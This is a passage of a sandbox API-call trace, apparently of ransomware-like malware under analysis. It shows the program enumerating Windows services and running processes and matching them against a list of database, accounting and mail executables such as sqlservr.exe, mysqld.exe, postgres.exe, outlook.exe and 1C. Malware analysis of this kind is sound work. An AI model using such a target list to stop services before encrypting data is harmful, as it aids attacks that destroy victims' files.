(lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.372] lstrlenW (lpString="RpcSs") returned 5 [0067.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.372] lstrlenW (lpString="SamSs") returned 5 [0067.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.373] lstrlenW (lpString="Schedule") returned 8 [0067.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.373] lstrlenW (lpString="SENS") returned 4 [0067.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.373] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.374] lstrlenW (lpString="Spooler") returned 7 [0067.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.374] lstrlenW (lpString="SysMain") returned 7 [0067.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0067.374] lstrlenW (lpString="Themes") returned 6 [0067.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0067.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0067.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0067.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0067.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0067.375] lstrlenW (lpString="TrkWks") returned 6 [0067.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0067.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0067.375] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0067.375] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0067.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0067.375] lstrlenW (lpString="UxSms") returned 5 [0067.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0067.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0067.375] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0067.375] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0067.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0067.375] lstrlenW (lpString="WdiServiceHost") returned 14 [0067.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0067.376] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0067.376] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0067.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0067.376] lstrlenW (lpString="WdiSystemHost") returned 13 [0067.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0067.377] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0067.377] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0067.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0067.377] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0067.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0067.377] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0067.377] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0067.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0067.377] lstrlenW (lpString="Winmgmt") returned 7 [0067.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0067.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0067.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0067.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0067.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0067.377] lstrlenW (lpString="WPDBusEnum") returned 10 [0067.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0067.378] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0067.378] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0067.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0067.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670288 | out: hHeap=0x5d0000) returned 1 [0067.378] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0067.384] Process32FirstW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.385] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.386] lstrlenW (lpString="System") returned 6 [0067.386] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0067.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0067.386] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0067.386] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0067.387] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0067.387] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0067.387] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0067.387] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.388] lstrlenW (lpString="smss.exe") returned 8 [0067.388] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0067.388] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0067.388] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.389] lstrlenW (lpString="csrss.exe") returned 9 [0067.389] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.389] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.389] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0067.390] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.391] lstrlenW (lpString="wininit.exe") returned 11 [0067.391] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0067.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0067.435] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.436] lstrlenW (lpString="csrss.exe") returned 9 [0067.436] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0067.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0067.437] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0067.437] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0067.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0067.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0067.437] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.439] lstrlenW (lpString="winlogon.exe") returned 12 [0067.439] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.440] lstrlenW (lpString="services.exe") returned 12 [0067.440] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.441] lstrlenW (lpString="lsass.exe") returned 9 [0067.441] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0067.442] lstrlenW (lpString="lsm.exe") returned 7 [0067.442] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.443] lstrlenW (lpString="svchost.exe") returned 11 [0067.444] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.445] lstrlenW (lpString="svchost.exe") returned 11 [0067.445] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.446] lstrlenW (lpString="svchost.exe") returned 11 [0067.446] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.447] lstrlenW (lpString="svchost.exe") returned 11 [0067.447] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.449] lstrlenW (lpString="svchost.exe") returned 11 [0067.449] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.450] lstrlenW (lpString="audiodg.exe") returned 11 [0067.450] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.451] lstrlenW (lpString="svchost.exe") returned 11 [0067.451] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.452] lstrlenW (lpString="svchost.exe") returned 11 [0067.453] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.464] lstrlenW (lpString="dwm.exe") returned 7 [0067.465] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.466] lstrlenW (lpString="explorer.exe") returned 12 [0067.466] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.467] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.467] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.468] lstrlenW (lpString="svchost.exe") returned 11 [0067.468] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0067.470] lstrlenW (lpString="taskhost.exe") returned 12 [0067.470] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0067.471] lstrlenW (lpString="taskeng.exe") returned 11 [0067.471] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0067.472] lstrlenW (lpString="developingthousands.exe") returned 23 [0067.472] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0067.474] lstrlenW (lpString="efattack.exe") returned 12 [0067.474] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0067.475] lstrlenW (lpString="feedback.exe") returned 12 [0067.475] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0067.476] lstrlenW (lpString="happy blond engage.exe") returned 22 [0067.476] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0067.477] lstrlenW (lpString="controller_type.exe") returned 19 [0067.477] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0067.478] lstrlenW (lpString="donations_berry.exe") returned 19 [0067.479] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0067.480] lstrlenW (lpString="lindsay.exe") returned 11 [0067.480] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 [0067.481] lstrlenW (lpString="columnists.exe") returned 14 [0067.481] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0067.483] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0067.483] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0067.484] lstrlenW (lpString="chose.exe") returned 9 [0067.484] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0067.549] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0067.549] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0067.822] lstrlenW (lpString="methods.exe") returned 11 [0067.822] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0067.823] lstrlenW (lpString="circulation.exe") returned 15 [0067.823] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0067.824] lstrlenW (lpString="suited.exe") returned 10 [0067.824] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0067.825] lstrlenW (lpString="infrastructure.exe") returned 18 [0067.825] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0067.827] lstrlenW (lpString="manager_olympic.exe") returned 19 [0067.827] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0067.828] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0067.828] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0067.830] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0067.830] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0067.831] lstrlenW (lpString="3dftp.exe") returned 9 [0067.831] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0067.832] lstrlenW (lpString="absolutetelnet.exe") returned 18 